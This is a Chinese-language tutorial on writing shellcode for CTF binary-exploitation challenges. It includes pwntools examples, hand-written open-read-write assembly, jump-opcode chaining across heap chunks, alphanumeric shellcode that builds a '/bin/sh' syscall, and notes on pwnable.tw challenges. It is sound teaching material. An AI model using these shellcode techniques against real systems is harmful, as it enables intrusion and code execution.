shellcode编写过程总结
字数 1726 2025-08-24 20:49:31
Shellcode编写技术全面指南
一、Shellcode基础概念
Shellcode是一段用于利用软件漏洞的可执行机器代码,通常用于获取系统控制权。在二进制安全领域,Shellcode编写是一项核心技能。
Shellcode的主要特点:
- 通常以十六进制机器码形式存在
- 需要避免包含空字节(\x00)
- 需要适应目标环境的内存布局
- 可能需要满足特定字符集限制
二、Shellcode生成方法
1. 使用工具自动生成
常用工具:
- pwntools的shellcraft模块
- msfvenom
- exploit-db数据库中的现成shellcode
示例(使用pwntools):
from pwn import *
# 生成打开文件的shellcode
shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax', 'esp', 0x30)
shellcode += shellcraft.write(1, 'esp', 0x30)
2. 手写汇编代码
示例(手写ORW shellcode):
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
三、Shellcode链技术
当空间受限时(如每个内存块只能写入少量字节),可以使用Shellcode链技术,通过跳转指令将多个小块连接起来执行完整功能。
关键跳转指令机器码:
0xE8 CALL:后面四个字节是地址0xE9 JMP:后面四个字节是偏移0xEB JMP:后面二个字节是偏移0xFF15 CALL:后面四个字节是存放地址的地址0xFF25 JMP:后面四个字节是存放地址的地址0x68 PUSH:后面四个字节入栈0x6A PUSH:后面一个字节入栈
跳转偏移计算方法:
假设当前指令地址为0x1000,指令为E9 16 00 00 00:
0x1000 + 16(偏移) + 5(指令长度) = 0x101B
Shellcode链构建示例:
# 堆块布局示例
'''
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 00000018e9586a3b 0
0x60 9090909090900f50 0x21
0x70 0 0
'''
四、受限字符Shellcode编写
当shellcode需要满足特定字符集限制时(如仅字母数字),需要特殊技巧:
1. 常用可见字符汇编指令
数据传送:
push/pop eax...pusha/popa
算术运算:
inc/dec eax...sub al, 立即数sub byte ptr [eax... + 立即数], al dl...
逻辑运算:
and al, 立即数xor al, 立即数
比较指令:
cmp al, 立即数
转移指令:
push 56hpop eaxcmp al, 43hjnz lable<=>jmp lable
2. 寄存器清零技巧
push 44h
pop eax
sub al, 44h ; eax = 0
push esi
push esp
pop eax
xor [eax], esi ; esi = 0
3. 构造系统调用示例
push ecx
pop eax
xor al, 0x41
xor al, 0x40 ; eax = 0x3 (read系统调用号)
push edx
pop ecx ; ecx = 0
push 0x68 ; push /bin/sh
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx ; ebx = "/bin/sh"地址
五、实战案例分析
案例1:note_service2
- 漏洞:double free
- 利用:构造shellcode链
- 关键技术:
- 使用多个小块shellcode通过跳转连接
- 计算精确的跳转偏移
- 通过free触发shellcode执行
案例2:death_note
- 限制:仅允许特定字符集的shellcode
- 解决方案:
- 使用可见字符指令构造功能
- 动态修改内存中的指令(如将
\x74\x39修改为int 0x80) - 利用现有寄存器状态减少指令需求
案例3:alive_note
- 挑战:严格的字符限制和空间限制
- 解决方案:
- 多阶段shellcode链
- 精心计算跳转偏移
- 动态修改关键指令
- 使用read系统调用读入无限制的shellcode
六、调试技巧
- 使用EDB调试器:验证跳转指令行为
- pwntools辅助:快速测试汇编指令对应的机器码
asm('xor rsi,rsi', arch='amd64') - 跳转计算工具:如"吾爱工具跳转指令计算器"
- 内存布局可视化:绘制堆块布局图辅助计算偏移
七、防御与绕过
常见防御措施:
- NX(不可执行内存)
- ASLR(地址空间随机化)
- 堆栈保护
- 系统调用过滤
绕过技术:
- ROP(面向返回编程)
- JIT spraying
- 重用已有可执行内存区域
- 部分覆盖技术
八、总结与练习建议
学习路径建议:
- 从工具生成的shellcode开始
- 学习手写简单shellcode
- 尝试受限字符集的shellcode
- 最后挑战shellcode链构造
推荐练习题目:
- 攻防世界pwn新手区的string
- 中科大比赛的shellhacker
- pwnable.tw的orw
- unctf的orwpwn
- 攻防世界的note_service2
- pwnable.tw的death_note
- pwnable.tw的alive_note
通过系统学习和实践,掌握shellcode编写技术是二进制安全研究的重要基础技能。